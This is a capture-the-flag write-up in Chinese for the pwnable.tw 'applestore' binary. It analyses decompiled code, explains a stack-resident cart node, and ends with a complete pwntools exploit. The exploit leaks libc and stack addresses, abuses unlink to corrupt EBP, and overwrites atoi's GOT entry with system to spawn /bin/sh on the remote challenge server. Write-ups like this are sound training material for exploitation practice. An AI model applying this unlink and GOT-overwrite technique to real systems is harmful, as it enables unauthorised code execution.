PWNABLE applestore

查看文件基本信息

 

 分析程序行为

该题是模拟了apple的商店,来售卖apple的各种产品,其提供了6个功能:

  • 1: 展示商店的商品
  • 2: 添加商品到购物车
  • 3: 从购物车里面将某一商品删除
  • 4: 展示购物车里面的商品
  • 5: 结算
  • 6: 退出

 静态分析

先创建一个结构体:

 

 

 然后分析这块代码,每一个新添加的手机都是一个chunk,起始位置位于myCart上,是确定的,其后跟着其他的chunk,如下图:

Phone *__cdecl insert(Phone *a1)
{
  Phone *result; // eax
  Phone *i; // [esp+Ch] [ebp-4h]

  for ( i = (Phone *)&myCart; i->next; i = (Phone *)i->next )
    ;
  i->next = (int)a1;
  result = a1;
  a1->before = (int)i;
  return result;
}

 

 

在分析checkout()这个函数时,发现当总金额达到7174时,会自动添加一个1块钱的iPhone8,最关键的是,这一块chunk是放到栈上的!!!

 可以看到新添加的iPhone8的地址是在[ebp-20h]处。因为checkout(),cart(),delete()等函数在执行完后都会返回handler(),这就保证了返回时的EBP和ESP是相同的,然后再调用checkout(),cart(),delete()等函数时,EBP和ESP仍然相同。

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  Phone v2; // [esp+18h] [ebp-20h] BYREF
  unsigned int v3; // [esp+2Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  v1 = cart();                                  // 计算多少钱
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf((char **)&v2, "%s", "iPhone 8");
    v2.price = 1;
    insert(&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v3;
}

 

所以可以在cart()中,在输入buf变量时,更改[ebp-0x20]的这块栈内存。进行泄露libc基址和覆盖GOT表。

int cart()
{
  int v0; // eax
  int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  Phone *i; // [esp+20h] [ebp-28h]
  char buf[22]; // [esp+26h] [ebp-22h] BYREF
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(buf, 21u);
  if ( buf[0] == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (Phone *)next; i; i = (Phone *)i->next )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, (const char *)i->device, i->price);
      v3 += i->price;
    }
  }
  return v3;
}

 

 动态分析

 其他的WP都写着要泄露EBP,然后用到了一个environ,然后这个EBP的地址就是泄露出来的environ-0x104,怎么来的好多WP没写,这里来写一写:

这个要在脚本中写好的exp中进行调试,exp就是最下面的那个。然后在0x848c41这个地方下个断点。

 

 

 按s进入delete函数,然后在这里停下来

 

 

 然后 输入stack 50查看栈的情况:

 

 

 可以看到ebp的地址为0xffeaf268  而此时我们获取到的environ为0xffeaf36c。所以需要将environ-0x104才是ebp的位置。

 漏洞利用

 1.因为一块钱的iPhone8放在了栈上,并且这块栈可控。

2.修改chunk的头上四字节为某一函数的GOT,从而求出libc基地址。

3.利用求出的libc基地址,可以进一步得出environ变量的值。

4.利用动态调试,得到ebp的地址为environ-0x104。

5.调用delete函数,将next和before位置上的值分别设为got['atoi']-0x22和ebp-0x8,在unlink时,就会把ebp对应的那块栈内存设置成got['atoi']-0x22,并且通过函数结束时的pop ebp, 把这个got['atoi']-0x22弹入ebp寄存器当中。

6.delete函数调用结束后会返回handler,因为它是一个while循环,所以并不是从handler最开始的地方开始执行,这样就保持了上一步修改的ebp寄存器当中的值不发生变化。

7.如下图的handler的汇编语言显示,因为当前ebp寄存器中的值为got['atoi']-0x22,再加上0x22就是got['atoi']的位置,这里将system的地址与/bin/sh写入。当下面执行atoi函数时,其实就成立执行system函数了,并且参数为system的地址加/bin/sh,所以需要加个分号,从而最终得到shell。

 

 

 EXP

from pwn import *
context.log_level = 'debug'
# io=process('./applestore')
# io=gdb.debug('./applestore','b main')
io=remote('chall.pwnable.tw','10104')
elf=ELF('./applestore')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('libc.so.6')
got_atoi=elf.got['atoi']
def add(number):
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil('Device Number> ')
    io.sendline(number)

def check():
    io.recvuntil('>')
    io.sendline('5')
    io.recvuntil('Let me check your cart. ok? (y/n) > ')
    io.sendline('y')

def cart(addr,addr2):
    io.recvuntil('> ')
    io.sendline('4')
    io.recvuntil('Let me check your cart. ok? (y/n) > ')
    io.sendline('y\x00'+addr+p32(0xdeadbeef)+addr2+p32(0xdeadbeef))

for i in range(6):
    add('1')
for i in range(20):
    add('2')
check()

cart(p32(got_atoi),p32(0x804B070))
io.recvuntil('27: ')
address_atoi=u32(io.recv(numb=4))
print hex(address_atoi)
libc.address=address_atoi-libc.sym['atoi']
environ=libc.sym['environ']

cart(p32(environ),p32(0x804B070))
io.recvuntil('27: ')
addr_stack=u32(io.recv(numb=4))
print hex(addr_stack)
addr_ebp=addr_stack-0x104

io.recv()
io.sendline('3')
io.recvuntil('Item Number> ')
io.sendline('27'+p32(0x08049068)+p32(0xdeadbeef)+p32(elf.got['atoi']+0x22)+p32(addr_ebp-0x8)) #最开始四字节需要为一个能访问的地址

io.recvuntil('> ')
io.sendline(p32(libc.sym['system'])+';/bin/sh\x00')
io.interactive()

 

posted @ 2021-11-12 20:03  大金刚仔  阅读(108)  评论(0编辑  收藏  举报